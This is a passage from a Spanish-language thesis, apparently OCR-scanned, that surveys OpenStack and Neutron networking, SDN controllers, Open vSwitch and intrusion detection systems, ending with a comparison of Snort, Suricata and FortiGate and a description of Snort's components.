privada es el modelo de inquilino. Los servicios de autenticacion y autorizaciéon que
proporcionan este modelo se implementan en el servicio de identidad, Keystone. Cada objeto
virtual o fisico gobernado por el sistema OpenStack existe dentro de un espacio privado
denominado inquilino o proyecto. La ultima version de Keystone API se ha diferenciado aun
mas para incluir una construccion de nivel superior llamada dominio. Independientemente de
la terminologia, la capacidad innata para segregar de manera segura los recursos informaticos,
de red y de almacenamiento es la capacidad mas fundamental de la plataforma. Esto es lo que
lo diferencia de la virtualizacion del centro de datos tradicional y la convierte en una

plataforma de nube privada (Solberg & Silverman, 2017).

Las API de componentes especificos interactiian con varias fuentes, incluidas otras API y
bases de datos relacionales. Todas las interacciones de OpenStack eventualmente conducen a
la capa API de OpenStack. Ciertamente se podria argumentar que la neutralidad inherente del
proveedor proporcionada por las API de OpenStack es el mayor beneficio de OpenStack. Las
personas que integran sistemas externos o depuran el codigo OpenStack se encontraran
mirando la capa API. Lo que hay que tener en cuenta es que todos los caminos conducen a las

API de OpenStack (Cody Bumgardner, 2016).

2.3.3.1.  Operaciones modelo de inquilino
OpenStack es nativamente compatible con multiples inquilinos. Por ejemplo, se puede pensar

en una implementacion de OpenStack como un hotel. Una persona no puede ser residente de
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un hotel a menos que tenga una habitacion, por lo que puede pensar en los inquilinos como
habitaciones de hotel. OpenStack proporciona recursos computacionales. Del mismo modo
que una habitacion de hotel es configurable (camas individuales o dobles, una suite o una
habitacion, etc.), también lo son los inquilinos. La cantidad de recursos (vCPU, RAM,
almacenamiento y similares), las imagenes (imagenes de software especificas del inquilino) y
la configuracion de la red se basan en configuraciones especificas del inquilino (Cody

Bumgardner, 2016).

Los usuarios son independientes de los inquilinos, pero los usuarios pueden tener roles para
inquilinos especificos. Un solo usuario puede tener el rol de administrador en varios inquilinos.
Cada vez que se agrega un nuevo usuario a OpenStack, se le debe asignar un inquilino. Cada
vez que se crea una nueva instancia (VM), debe crearse en un inquilino. La administracion de
todos los recursos de Open-Stack se basa en la administracion de los recursos del inquilino.

Debido a que su acceso a los recursos de OpenStack se basa en configuraciones de inquilinos,
debe comprender como crear nuevos inquilinos, usuarios, roles y cuotas. Los inquilinos seran
la forma fundamental de dividir y administrar configuraciones y recursos en OpenStack (Cody

Bumgardner, 2016).

2.3.3.2.  Componentes de OpenStack

OpenStack se puede distribuir de acuerdo con varios servicios que conforman el nucleo de la

solucion general:

e Compute (Nova): es un controlador de estructura de computacion en la nube, que se utiliza
para implementar y administrar grandes cantidades de maquinas virtuales y otras instancias
para manejar tareas informaticas (R. Kumar et al., 2014).

e Almacenamiento de objetos (Swift): es un sistema de almacenamiento redundante y
escalable para objetos y archivos. Los objetos y los archivos se escriben en varias unidades
de disco distribuidas en todos los servidores del centro de datos, el software OpenStack
solo es responsable de garantizar la replicacion e integridad de los datos en el cluster (R.
Kumar et al., 2014).

e Almacenamiento en bloque (Cinder): es un componente de almacenamiento en bloque, que
es mas analogo a la nocion tradicional de que una computadora pueda acceder a ubicaciones
especificas en una unidad de disco, asi como también proporciona almacenamiento
persistente a nivel de bloque dispositivos para usar con instancias de computo OpenStack.
En OpenStack, el sistema de almacenamiento en bloque gestiona la creacion, conexion y

desconexion de los dispositivos de bloque a los servidores (R. Kumar et al., 2014).
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e Redes (Neutron): Neutron proporciona la capacidad de red para OpenStack y es un sistema
para administrar redes y direcciones IP de manera facil, rapida y eficiente (R. Kumar et al.,
2014).

e Dashboard (Horizon): Horizon es el tablero detras de OpenStack que proporciona a los
administradores y usuarios una interfaz grafica para acceder, aprovisionar y automatizar
recursos basados en la nube (R. Kumar et al., 2014).

e Servicio de identidad (Keystone): OpenStack Identity (Keystone) proporciona servicios de
identidad para OpenStack o es un directorio central de usuarios asignados a los servicios
de OpenStack a los que pueden acceder. Proporciona multiples medios de acceso, y actia
como un sistema de autenticacion comun en todo el sistema operativo en la nube y puede
integrarse con servicios de directorio de back-end existentes como LDAP (R. Kumar et al.,
2014).

e Servicio de imagen (Glance): el Servicio de imagen OpenStack (Glance) proporciona
servicios de imagen a OpenStack, descubrimiento, registro y servicios de entrega para
imagenes de disco y servidor, también permite que estas imagenes se utilicen como
plantillas al implementar nuevas instancias de maquinas virtuales (R. Kumar et al., 2014).

o Telemetria (Ceilometro): el Servicio de telemetria de OpenStack (Ceilémetro) proporciona
servicios de telemetria, que permiten que la nube brinde servicios de facturacion a usuarios
individuales de la nube, mantiene un recuento verificable del uso del sistema de cada
usuario de cada uno de los diversos componentes de un OpenStack nube (R. Kumar et al.,
2014).

e Orchestration (Heat): es un servicio que permite a los desarrolladores almacenar los
requisitos de una aplicacion en la nube en un archivo que define qué recursos son necesarios

para esa aplicacion (R. Kumar et al., 2014).

2.3.3.3.  Neutron — OpenStack Networking

OpenStack Networking es un sistema conectable, escalable e impulsado por API para
administrar redes y direcciones IP en una nube basada en OpenStack. Al igual que otros
componentes principales de OpenStack, los administradores y usuarios pueden usar
OpenStack Networking para aumentar el valor y maximizar la utilizaciéon de los recursos

existentes del centro de datos (Denton, 2015).

Neutron es el nombre del componente de red de OpenStack, este es un servicio standalone, el
cual significa que puede ser instalado de forma independiente sin la necesidad de requerir de
otros componentes de OpenStack. Los servicios de Neutron pueden ser divididos a lo largo de

los hosts con el objetivo de proveer redundancia y alta disponibilidad. Al igual que la mayoria
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de componentes de OpenStack, Neutron expone una API que se utiliza para la comunicacion

entre los componentes, incluso para la interaccion con el usuario final (Denton, 2015).

OpenStack incluye varias tecnologias que se podrian encontrar en un centro de datos comun,

entre estas tecnologias se encuentran:

Switching. Se define como una aplicacion de software que conecta maquinas virtuales a
redes virtuales en la capa 2, o la capa de enlace de datos, del modelo OSI. Neutron admite
multiples plataformas de conmutacion virtual, incluidos los puentes de Linux
proporcionados por el modulo del nicleo del puente y Open vSwitch (Denton, 2015).

Open vSwitch, también conocido como OVS, es un conmutador virtual de codigo abierto
que admite interfaces y protocolos de administracion estandar, incluidos NetFlow, SPAN,
RSPAN, LACP vy el etiquetado VLAN 802.1q. Sin embargo, muchas de estas

caracteristicas no estan expuestas al usuario a través de la API OpenStack (Denton, 2015).

Routing. OpenStack Networking proporciona capacidades de enrutamiento y NAT
mediante el uso de reenvio de IP, iptables y espacios de nombres de red. Dentro de un
espacio de nombres de red, podemos encontrar sockets, puertos vinculados e interfaces

que se crearon en el espacio de nombres (Denton, 2015).

Cada espacio de nombres de red tiene su propia tabla de enrutamiento, interfaces y
procesos de iptables que proporcionan filtrado y traduccion de direcciones de red. Al
aprovechar los espacios de nombres de red para separar redes, no existe la preocupacion
de superponer subredes entre redes creadas por inquilinos. La configuracion de un
enrutador dentro de Neutron permite que las instancias interactuen y se comuniquen con

redes externas u otras redes en la nube (Denton, 2015).

Load Balancing. Es introducido por primera vez en la version Grizzly de OpenStack,
Load Balancing as a Service, también conocido como LBaaS, tiene como funcion brindar
a los usuarios la capacidad de distribuir las solicitudes de los clientes en varias instancias
o servidores. Los usuarios pueden crear monitores, establecer limites de conexion y
aplicar perfiles de persistencia al trafico que atraviesa un equilibrador de carga virtual

(Denton, 2015).
Load Balancing divide la cantidad de trabajo que una computadora tiene que hacer entre

dos o mas computadoras para que se realice mas trabajo en la misma cantidad de tiempo

y, en general, todos los usuarios reciben servicio mas rapido (Rashmi et al., 2016).
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Se puede implementar con hardware, software o una combinacion de ambos; desempefia
un papel esencial para proporcionar garantias de calidad de servicio (QoS) en la
computacion en la nube, y ha generado un interés sustancial en la comunidad de
investigacion. Por lo general, el Load Balancing es la razon principal de la agrupacion de
servidores de la computadora. Un Load Balancing es un dispositivo que actiia como un
proxy inverso y distribuye el trafico de la red o de la aplicacion en varios servidores, se
utiliza para aumentar la capacidad (usuarios concurrentes) y la confiabilidad de las

aplicaciones (Rashmi et al., 2016).

La version de Kilo de OpenStack introdujo la version 2 de la API de LBaaS en un estado
experimental. La API v2 es una gran mejora con respecto a la version 1, y para el
lanzamiento de Liberty, deberia ser estable. OpenStack Networking esta equipado con un
complemento para LBaaS que utiliza HAProxy en la implementacion de referencia de

codigo abierto (Denton, 2015).

Firewalling. En la version actual de OpenStack, hay dos métodos para proporcionar
seguridad a las instancias: grupos de seguridad y firewalls. Cuando se usan grupos de
seguridad, las instancias se colocan en grupos que comparten funcionalidades comunes y
conjuntos de reglas. Las reglas de Iptables se configuran en nodos de proceso y filtran el

trafico dentro y fuera de los puentes de Linux conectados a cada instancia.

En una implementacion de referencia, cuando se usan firewalls virtuales proporcionados
por Firewall as a service, también conocido como FWaa$, la seguridad se maneja en el
borde de la red en un enrutador de neutrones en lugar de en el nodo de computo. A través
de la version Liberty de OpenStack, la API FWaaS permanece en un estado experimental

sin compatibilidad retroactiva garantizada en futuras versiones (Denton, 2015).

Virtual Private Networks. Una red privada virtual, o VPN, extiende una red privada a
través de una red publica como Internet. Una VPN permite que una computadora envie y
reciba datos a través de redes publicas como si estuviera directamente conectada a la red

privada (Denton, 2015).
Neutron proporciona un conjunto de API para permitir a los usuarios crear tineles VPN

basados en [PSec desde enrutadores de Neutron a puertas de enlace remotas cuando se

utiliza la implementacion de referencia de codigo abierto (Denton, 2015).
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La segmentacion del trafico en el sistema, se logra mediante el etiquetado de VLAN o el
tunel GRE para cada inquilino. Por lo tanto, la alternativa diferente del sistema de
conmutacion de red juega un papel importante en la complejidad de la arquitectura de red

en la computacion en la nube (P. Sharma, 2018).

Estas caracteristicas pueden ser configuradas bajo la influencia de software de codigo abierto
o comercial. Neutron tiene soporte para plugins de terceros y drivers que permiten extender
las funcionalidades e implementacion del API de Neutron. Existe dos tipos de plugins en la
arquitectura de Neutron; Core plugin, Service plugin. Los plugins Core se implementan en el
nucleo del API de Neutron y es el responsable de la red 16gica y su administracion (Denton,

2015).

El dominio del servidor de Neutron se ejecuta en el nodo de red, se inicia y lee los archivos de
configuracion y luego cientos de complementos y extensiones configurados. Implementa y
proporciona modelos de red y direccionamiento IP para cada puerto en consecuencia. Ademas,
expone las API a los clientes de neutrones (a través del Panel de control, la interfaz de linea
de comandos o las llamadas a la API) y reenvia las solicitudes de los clientes a los

complementos configurados (P. Sharma, 2018).

2.3.3.4.  Redes Definidas por Software

La tecnologia de red definida por software (SDN) es un enfoque de la red informatica que
permite a los administradores de red inicializar, controlar, cambiar y gestionar el
comportamiento de la red de manera dindmica mediante interfaces abiertas y proporcionar
abstraccion de la funcionalidad de nivel inferior. El hecho de que la arquitectura estatica de
las redes tradicionales no es compatible con todas las necesidades dinamicas y escalables de
computo y almacenamiento de los entornos informaticos mas modernos, como los centros de
datos que aborda la tecnologia SDN. Esto se hace desacoplando o desasociando el sistema que
toma decisiones sobre donde se envia el trafico (el controlador SDN o el plano de control) de
los sistemas subyacentes que envian el trafico al destino seleccionado, que es el plano de datos

(Ansari et al., 2018).

Actualmente, SDN se define mejor como un paradigma de red que desacopla el plano de
control del plano de datos, lo que permite un control centralizado de la red junto con una vista
de red global donde las aplicaciones de red se ejecutan sobre un sistema operativo de red (Cox

etal., 2017).
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El proposito de la supervision de la red es apoyar las operaciones de gestion adecuadas. El
monitoreo proporciona una vista del estado de la red e ilustra el comportamiento de la red, que
es una base para futuras operaciones de gestion, como ingenieria de trafico, calidad de servicio
(QoS) y deteccion de anomalias. En las redes de computadoras, el modelo de operacion es una
arquitectura apilable con diferentes capas, que une numerosos hosts para el intercambio de
datos. Para satisfacer varios propoésitos de gestion, el monitoreo de red ayuda a los operadores
de red a obtener estadisticas de operacion y uso. A medida que Internet contintia creciendo a
un ritmo acelerado, las nuevas tecnologias aprovechan cada vez mas las aplicaciones de red

para mejorar nuestra vida diaria (Tsai et al., 2018).

En la actualidad, la arquitectura de red tradicional no puede cumplir con todos los requisitos
de las nuevas aplicaciones. Por ejemplo, los servicios de entrega de contenido generalmente
requieren controles flexibles y adaptativos para garantizar un alto rendimiento en términos de
transmision de red global y regional. Los servicios de transmision en vivo pueden requerir
repentinamente una gran capacidad de ancho de banda para atender a sus audiencias. Una vez
que finaliza la transmision, los recursos de la red ya no son necesarios. De acuerdo con los
requisitos de la aplicacion, los sistemas de red deben ser inteligentes para la adaptacion y la

optimizacion (Tsai et al., 2018).

2.3.3.5.  Plataformas para controladores SDN

La red definida por software (SDN) se define como una plataforma que proporciona soporte
dindmico, adaptable, rentable y manejable, y que busca ser adecuado para la naturaleza
dindmica y de gran ancho de banda de las aplicaciones actuales. Las arquitecturas SDN
basicamente realizan funciones de desvio y control de red de desacoplamiento, permitiendo
que el control de red se vuelva directamente programable y que la infraestructura subyacente

se abstraiga de las aplicaciones y servicios de red (Ansari et al., 2018).

La controladora OpenDaylight estd basada en Java y se deriva del disefio Beacon original.
Admite OpenFlow y otras API hacia el sur (como Cisco OpFlex) e incluye caracteristicas

criticas, como la alta disponibilidad y la agrupacion en clister (SDxCentral, 2014).

La controladora OpenDaylight se implementa unicamente en software y se mantiene dentro
de su propia maquina virtual Java (JVM), pero se puede implementar en una variedad de
entornos de red de produccion. Junto con su controlador SDN, OpenDaylight Project lanzo su
primer codigo, Hydrogen, que ofrecia tres ediciones diferentes para los usuarios. En

septiembre de 2014, OpenDaylight Project presentd su segundo lanzamiento de codigo,
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Helium. Ambas versiones de cddigo son marcos abiertos para la capacidad de programacion

de la red para habilitar SDN para redes de cualquier tamafio (SDxCentral, 2014).

El octavo y mas reciente codigo de OpenDaylight es Oxygen, lanzado en 2018, que presenta
un complemento P4 y un complemento Kubernetes para entornos mixtos de maquinas virtuales
y contenedores. Oxygen también adopta un modelo de "distribucion administrada". ODL

define este modelo como la desconexion de " proyectos no centrales del proceso de

lanzamiento principal y les permite evolucionar a su propio ritmo" (SDxCentral, 2014).

2.3.4. Open vSwitch

Open vSwitch (OVS) es un conmutador de software de codigo abierto que se usa ampliamente
en entornos de produccion y es compatible con muchas y diferentes distribuciones de Linux.
Ademas, se ha portado a los sistemas operativos Windows de Microsoft (Chauhan and Sood, 2019;

Elbashir, 2017).

Normalmente, OVS se implementa en el host y funciona con hipervisores (por ejemplo, KVM)
y sistemas de contenedores (como Docker) e interconecta las maquinas / contenedores

virtuales y puede utilizar las interfaces de red fisicas del host del servidor (Elbashir, 2017).

Ademas de funcionar como un conmutador Ethernet estandar, OVS actia como un
conmutador OpenFlow al exportar una interfaz externa que utiliza el protocolo OpenFlow. A
través de OpenFlow, OVS puede enviar paquetes al controlador SDN vy recibir actualizaciones
de la tabla de flujo en tiempo de ejecucion del controlador. OVS exporta otra interfaz externa
utilizando el protocolo de administracion OVSDB. Esto permite leer la configuracion de un
conmutador, crear o eliminar conmutadores y cambiar las configuraciones del conmutador
(por ejemplo, agregar o eliminar puertos y configurar la calidad del servicio). Tanto OpenFlow
como OVSDB admiten comunicacion segura utilizando el protocolo Transport Layer Security

(TLS) (Elbashir, 2017).

Open vSwitch admite varios protocolos diferentes, como Red de area local virtual (VLAN),
Encapsulacion de enrutamiento genérico (GRE) y Red de area local extensible virtual
(VXLAN), para aislar diferentes inquilinos dentro de entornos de nube (Elbashir, 2017;

Langenskiold, 2017).

Una implementacion de Open vSwitch consta de tres componentes:

e Ruta lenta (OVS-VSWITCHD)
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La ruta lenta se implementa en el espacio del usuario mediante el proceso OVS-VSWITCHD.
Comprende la logica de reenvio y tiene una interfaz OpenFlow. También mantiene la tabla de
flujo. La tabla de flujo se puede manipular manualmente mediante el comando OVS-OFCTL
o mediante el controlador SDN externo mediante OpenFlow. Con OpenFlow, el controlador
SDN puede monitorear flujos, obtener estadisticas de flujos y enviar paquetes al conmutador

(Langenskiold, 2017).

e Rutarépida (ruta de datos)
La ruta rapida, también conocida como ruta de datos, se implement6 inicialmente como un
modulo del nticleo. El camino rapido es donde ocurre el reenvio de paquetes. La ruta de datos
mantiene un caché de la tabla de flujo, mientras que ovs-vswitchd usa sockets Netlink para

actualizar esta tabla de caché con flujos y acciones asociadas (Langenskidld, 2017).

La ruta de datos recibe los paquetes que llegan desde una tarjeta de interfaz de red (NIC) fisica
o virtual. La ruta de datos busca en su tabla de flujo en caché un flujo coincidente; de lo
contrario, reenvia el paquete a través del socket Netlink a ovs-vswitchd para que decida como
se manejara el paquete. Al recibir el paquete, el proceso ovs-vswitchd enviara la actualizacion
necesaria para la tabla de caché junto con el paquete original que ahora se reenviara en funcion
de la nueva entrada en la tabla de flujo en caché. Como resultado, los paquetes subsiguientes
en el mismo flujo seran manejados completamente por la ruta de datos. Cuando OVS-
VSWITCH no encuentra una coincidencia en su tabla de flujo, envia el paquete al controlador
SDN que decide como se procesara el paquete y luego envia una actualizacion a la tabla de
flujo junto con el paquete original y una accion para reenviar segun la entrada de la tabla de
flujo recién instalada. También se puede acceder a la tabla de flujo en caché utilizando el

comando OVS-DPCTL (Langenskiold, 2017).

Inicialmente, la tabla de flujo en caché se disefi6 para admitir el almacenamiento en caché de
micro flujo, es decir, coincidencias exactas en todos los campos de encabezado de paquete.
Sin embargo, esto caus6 una degradacion del rendimiento cuando se implement6 con una gran
cantidad de conexiones de corta duracion. Como resultado, se introdujo el almacenamiento en
caché de mega flujo en el que se pueden agregar flujos que conducen a una memoria caché de

dos niveles (Langenskiold, 2017).

La introduccion del Kit de desarrollo de plano de datos (DPDK) permitio que la ruta de datos
se implementara en el espacio del usuario, proporcionando asi un procesamiento de paquetes
de alto rendimiento. Esto da como resultado un mayor rendimiento de la red y una menor

latencia. La comunicacion entre procesos entre los dos procesos de espacio de usuario (ovs-
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vswitchd y ruta de datos) se realiza utilizando una estructura de datos en anillo en la memoria

compartida (Langenskiéld, 2017).

e Base de datos de configuracion (servidor ovsdb)
El servidor OVSDB mantiene una base de datos persistente donde se almacenan todas las
configuraciones del conmutador. Expone una interfaz externa utilizando el protocolo de
administracion OVSDB. Ademas, el comando OVS-VSCTL se puede usar para configurar la
base de datos. Los ejemplos de tales configuraciones incluyen la configuracion de la direccion
IP del controlador SDN, la creacién o eliminacion de conmutadores, la adicion o eliminacion
de puertos y la configuracion de la calidad del servicio. El proceso OVS-VSWITCHD puede

consultar la base de datos para configuraciones de conmutador usando OVSDB.

2.3.5. Sistemas de deteccion de intrusos (IDS)

En la deteccion de mal uso, los ataques siguen patrones bien definidos que explotan las
debilidades del sistema y el software de la aplicacion. Dado que estos ataques siguen patrones
y firmas bien definidos, generalmente se codifican de antemano y luego se utilizan para que
coincidan con el comportamiento del usuario, lo que implica que la deteccion del uso indebido
requiere un conocimiento especifico del comportamiento intrusivo dado. De esta manera, con
una deteccion basada en firmas, en la cual los patrones de ataque pueden predeterminarse en
forma de firmas, estas se utilizan para detectar los ataques a la red, por lo general, el método
de deteccion examina el trafico de la red con firmas predefinidas y cada vez que se actualiza

la base de datos (V. Kumar & Sangwan, 2012).

Un sistema de deteccion de intrusos (IDS) monitorea las actividades de la red o del sistema en
busca de actividades maliciosas o violaciones de politicas y produce informes a una estacion
de administracion. Los sistemas informaticos estan evolucionando para estar cada vez mas
expuestos a los ataques, debido a su amplia conectividad de red. Los sistemas de deteccion de
intrusos (IDS) se centran principalmente en identificar incidentes probables, monitorear
informacion sobre ellos, intentar detenerlos e informarlos a la seguridad administradores en
un entorno en tiempo real y aquellos que ejercen datos de auditoria con cierto retraso (no en
tiempo real). Un IDS proporciona observacion de la red durante todo el dia y es un muro

adicional para asegurar la red (Rizvi & Keole, 2015).

Los IDS pueden ser de dos modos: inline y outline (mirror). El modo inline se refiere a que la
configuracion fisica de la red, donde un dispositivo determinado esta ubicado en un sitio tal
que todo el trafico de informacion pasa a través de este; por otra parte, el modo mirror es la

configuracion fisica de red en la cual la condicion fundamental es que el dispositivo esta en
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un lugar tal que recibe una copia (espejo) de todo el trafico de la red, lo cual se alcanza a través

de los puertos especiales de los switches (Astudillo et al., 2011).

2.3.5.1.  Fases de trabajo del analisis de intrusion
El proceso de analisis de intrusiones es muy importante para las redes y el sistema de arena

puede dividirse ampliamente en cuatro fases y las fases son las siguientes (Rizvi & Keole, 2015):

[ Fase de preprocesamiento

< =
[ Analisis
< =

)
)
B
)

<>

[ Ajuste

Figura 3-2. Fases de trabajo del analisis de intrusion

Realizado Por: Rizvi y Keole , 2015

e Preprocesamiento. Es la primera fase del sistema de deteccion de intrusos. Recopila la
actividad de un ID o sensores IPS. En este paso, los datos se organizan en algin patron
para su clasificacion. Esta etapa ayudaria a determinar el formato en el que se colocan los
datos, que seria un formato canonico o una base de datos estructurada. Una vez que los
datos estan formateados, se clasifican aiin mas, esta clasificacion depende de los esquemas
de analisis que se utilicen.

e Analisis. Después del preprocesamiento, el registro de datos se compara con la base de
conocimiento. El registro de datos se registrara como un evento de intrusion o se eliminara
y se analizara el siguiente registro de datos.

e Respuesta. En el IDS se obtiene la informacion pasivamente después del hecho, por lo que
se debe recibir una alerta después del hecho. La respuesta se puede configurar para que se
realice automaticamente, o se puede hacer manualmente después de que alguien analiz6
manualmente la situacion.

e Ajustes. En esta etapa, se realizan ajustes precisos, basados en el uso anterior y las
intrusiones detectadas. Esto ayuda a reducir los niveles de falsos positivos y a tener mas
herramientas de seguridad. Estas son herramientas como CTR (Cisco Threat Response)
que ayuda con la etapa de refinacion al asegurarse de que una alerta sea valida al verificar
si usted es vulnerable al ataque o no. Deteccion basada en reglas, incluso conocida como

deteccion de firma, coincidencia de patrones y deteccion de mal uso.
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2.3.5.2.  Clasificacion del sistema de deteccion de intrusos (IDS)
Para discutir los sistemas de deteccion de intrusos (IDS) correctamente, es necesario distinguir
entre los diferentes IDS. Por lo tanto, la clasificacion de los sistemas de identificacion es muy

importante y se sefialan a continuacion (Rizvi & Keole, 2015):

a. Sistema de deteccion de intrusos basados en firma

Los paquetes de un monitor IDS basados en firmas en la red y se comparan con los patrones
de ataque preconfigurados y predeterminados conocidos como firmas. Cuando se reconoce un
nuevo ataque, los expertos o programas tienen que identificar patrones tipicos en dichos
ataques, que pueden convertirse en firma. Dado que este proceso lleva tiempo, habra un
desfase entre la nueva amenaza descubierta y la firma que se aplica en IDS para detectar la
amenaza. Durante este tiempo de retraso, el IDS no podra identificar la amenaza; para reducir
aun mas el retraso, el software de seguridad que utiliza tales firmas debe actualizarse con la

mayor frecuencia posible (Rizvi & Keole, 2015).

b. Sistema de deteccion de intrusiones basado en anomalias

Los IDS basados en anomalias detectan incidentes, que muestran perfiles de comportamiento
atipicos o violan umbrales basados en analisis estadisticos. Ejemplos de esto son los posibles
ataques de enmascaramiento, que se detectan de esta manera o las penetraciones del sistema
de control de seguridad. Otros posibles escenarios de fuga o ataques de denegacion de servicio,
que se detectan mediante el uso atipico de los recursos del sistema. También existen problemas
que incluyen uso malicioso, violaciones de restricciones de seguridad o uso de privilegios
especiales; por lo tanto, un IDS basado en anomalias estadisticas determina la actividad normal
de la red, registra qué tipo de ancho de banda se usa generalmente, qué tipo de protocolos se
usan, qué puertos y dispositivos generalmente se conectan entre si, y alerta al administrador o
usuario cuando se detecta trafico que presenta anomalias. Esto podria incluir comparar cierto
valor del indicador de trafico con un umbral, en funcidn de su desviacion estandar determinada

histéricamente (Rizvi & Keole, 2015).

c. Sistema de deteccion de intrusiones basado en el host

La deteccion de intrusiones basada en host (HIDS) se refiere a la deteccion de intrusiones que
tiene lugar en un solo sistema host, los datos se recopilan de un sistema host individual; el
agente HIDS supervisa actividades como la integridad del sistema, la accion de la aplicacion,
los cambios de archivos, el trafico de red basado en el host y los registros del sistema. Mediante
el uso de herramientas comunes de hashing, marcas de tiempo de archivo, registros del sistema
y monitoreo de las llamadas del sistema y la interfaz de red local le brinda al agente

informacion sobre el estado actual del host local. Si se detecta algin cambio no autorizado o
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actividad, alerta al usuario mediante una ventana emergente, alerta al servidor de
administracion central, bloquea la actividad o una combinacion de los tres anteriores; la
decision debe basarse en la politica que esta instalada en el sistema local. Estos procedimientos

basados en el host se consideran el componente pasivo (Rizvi & Keole, 2015).

d. Sistemas de deteccion de intrusiones en la red

Un sistema de deteccion de intrusos basado en la red (NIDS) se usa para monitorear y analizar
el trafico de la red para proteger un sistema de amenazas basadas en la red donde los datos son
trafico a través de la misma. Un NIDS intenta detectar actividades maliciosas como ataques
de denegacion de servicio (Dos), escaneos de puertos y monitoreo de ataques de trafico de red;
este sistema incluye una serie de sensores para monitorear el trafico de paquetes, uno o mas
servidores para las funciones de administracion de NIDS, y uno o mas relevos de
administracion para la interfaz humana. NIDS examina el trafico paquete por paquete en
tiempo real, o casi en tiempo real, para intentar detectar patrones de intrusion. El andlisis de
los patrones de trafico para detectar intrusiones puede realizarse en los sensores, en los
servidores de administracion o en la combinacion de ambos. Estos procedimientos basados en

la red se consideran el componente activo (Rizvi & Keole, 2015).

2.3.5.3. Sistemas de deteccion de intrusos (IDS)
Entre las principales sistemas de deteccion de intrusos se encuentran los siguientes:

e Snort. Es un sistema de prevencion y deteccion de intrusiones de red de codigo abierto,
capaz de realizar analisis de trafico en tiempo real y registro de paquetes en redes IP;
puede realizar analisis de protocolo, busqueda/coincidencia de contenido, y puede
usarse para detectar una variedad de ataques y sondas, como desbordamientos de
bufer, escaneos de puertos furtivos, ataques CGI, sondas SMB, intentos de huellas
dactilares del sistema operativo y mucho mas (SNORT.org, 2019).

e Suricata. Es un sistema de deteccion y prevencion de intrusos en tiempo real,
monitoreo de seguridad de red y procesamiento pcap offline. Suricata inspecciona el
trafico de la red utilizando un lenguaje de firmas y reglas extenso para la deteccion de
amenazas. Fue desarrollado por “Open Security Foundation” en diciembre del 2009
lanzaron la version beta. Entre las caracteristicas que sobre sale se encuentran: Multi-
hilos, deteccion automatica de protocolos, descompresion gzip, métodos de entrada
estandar, salida Unified2, modulo de logs http, salidas estandar JSON, scripting LUA,
entre otras.

e FortiGate. Es un firewall UTM de la empresa Fortinet, fundada en noviembre del
2000. La solucion FortiGate se construye desde cero con la idea de una arquitectura

que permita integrar de manera estricta el software con tecnologia de hardware
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personalizada. El objetivo fue crear un solo producto que permita realizar una
inspeccion por multiples motores sin tener que armar y desarmar el paquete analizado,
en una sola pasada se tiene la opcion de aplicar antivirus, spyware, filtrado web, IDS,
IPS, controles de aplicacion, DLP. Otra cualidad importante de FortiGate es que cada
componente del motor de seguridad de inspeccion es modular y con capacidades de
tolerancia a fallas, esto permite proteger contra escenarios en los que se consume

muchos recursos o, por alguna razén, un proceso de inspeccion se desconecte.

2.3.5.4.  Analisis comparativo entre Sistemas de Deteccion de Intrusos

En toda solucion tecnologica existen sistemas de deteccion de intrusos tanto comerciales como
de codigo abierto, cada una con diferentes caracteristicas dependiendo del fabricante y tipo de
licenciamiento. En la Tabla 2-2 se muestra un estudio comparativo respecto a las soluciones

de mayor tendencia en el mercado sobre sistemas de deteccion de intrusos.
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Tabla 2-2. Analisis comparativo entre sistemas de deteccion de intrusos (IDS)

Caracteristica / IDS SNORT Suricata FortiGate

Tipo de Licencia GPLv2 y comercial GNU  General  Public | Comercial
License

Comunidad Alta Alta Comercial

Complejidad de Instalacion Alta Media Propietaria

Interfaz Web Externa Externa SI

Fecha publicacion 1998 2009 2000

Lenguaje de programacion C C -

Soporte [Pv6 SI SI SI

Basado en reglas SI SI SI

Sistema Operativo Cross-platform Cross-platform Propietario

Threads

Single-threaded

Multi-threaded

Multi-threaded

Realizado por: Cristian Mifio, 2020

31




A continuacion se describe la importancia de las caracteristicas mas relevantes:

e Tipo de licencia. Enfoque econdmico, al ser propietaria tiene un costo por su
utilizacion.

e Comunidad. Relacionado con el tipo de licencia y soporte, cuando el tipo de licencia
en codigo abierto, la comunidad forma un papel importante al momento de elegir un
IDS.

e Fecha de publicacion. Dato importante para ver el tiempo en el mercado y por ende el
tiempo de experiencia de la herramienta.

e Lenguaje de programacion. El rendimiento y escalabilidad se encuentran relacionados
con el lenguaje de programacion. Lenguajes de scripting son menos eficientes en
relacion con lenguajes compilados dado que tiene que realizar una paso mas para la
gjecucion.

e Threads. La principal funciéon de un IDS es el procesamiento de los paquetes, la
caracteristicas de multi-threaded o single-threaded permite ejecutar eficientemente

multiples hilos de ejecucion y por ende mayor eficiencia.

En el articulo presentado por Zambrano y Guailacela, titulado “Analisis de la eficiencia de los
IDS Open Source Suricata y Snort en la PYMES” de la Universidad Espiritu Santo,
demuestran que Suricata es mas eficaz en el momento de comparar reglas y alertas pero
consume mas CPU y memoria que Snort, sobre todo en los ataques DOS y por eso causa un
desgaste en el procesamiento de paquetes causando mas perdida.

De la misma forma en el articulo titulado “Computer Network Security IDS Tools and
Techniques (Snort/Suricata)”, presentado por Okasha y Prashant dan a conocer los resultados
de su prueba, la cual consiste en generar ataques SYN utilizando HPING3 para ocasionar una
denegacion de servicio, estas pruebas dieron como conclusion que tanto Suricata como Snort

detectaron los mismos resultados.

Teniendo en consideracion la comparativa presentada y dado el enfoque en los sistemas de

codigo abierto, se escogié SNORT como herramienta para este trabajo.

2.3.6. Sistema SNORT

Snort es un sistema de deteccion y prevencion de intrusiones de red de codigo abierto y ligero
que se utiliza para analizar el trafico en tiempo real contra diferentes tipos de ataques basados
en el conjunto de reglas; la regla de Snort se puede escribir en cualquier lenguaje y es facil de
modificar. Snort consiste en multiples componentes para detectar un ataque en particular y

mostrar la salida de todos estos componentes trabajan juntos (S. Sharma & Dixit, 2016):
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e Decodificador de paquetes. Toma paquetes de diferentes tipos de interfaces de red y
los prepara para el preprocesamiento o para enviarlos al motor de deteccion. Las
interfaces pueden ser Ethernet, SLIP, PPP, etc.

e Preprocesadores. Estos son componentes o complementos que se pueden combinar
con Snort para modificar u organizar paquetes de datos antes de que esos paquetes
lleguen al motor de deteccion y realicen alguna operacion para averiguar si un intruso
esté utilizando el paquete.

e Motor de deteccion. El motor de deteccion es el componente principal de Snort; se
utiliza para detectar si existe alguna actividad maliciosa en un paquete y emplea las
reglas de Snort para esta actividad.

e Sistema de registro y alerta. El funcionamiento del sistema de registro y alteracion
depende de la salida del componente anterior, suele registrar la actividad y generar la
alerta en funcién de la salida del motor de deteccion. Los registros se guardan en
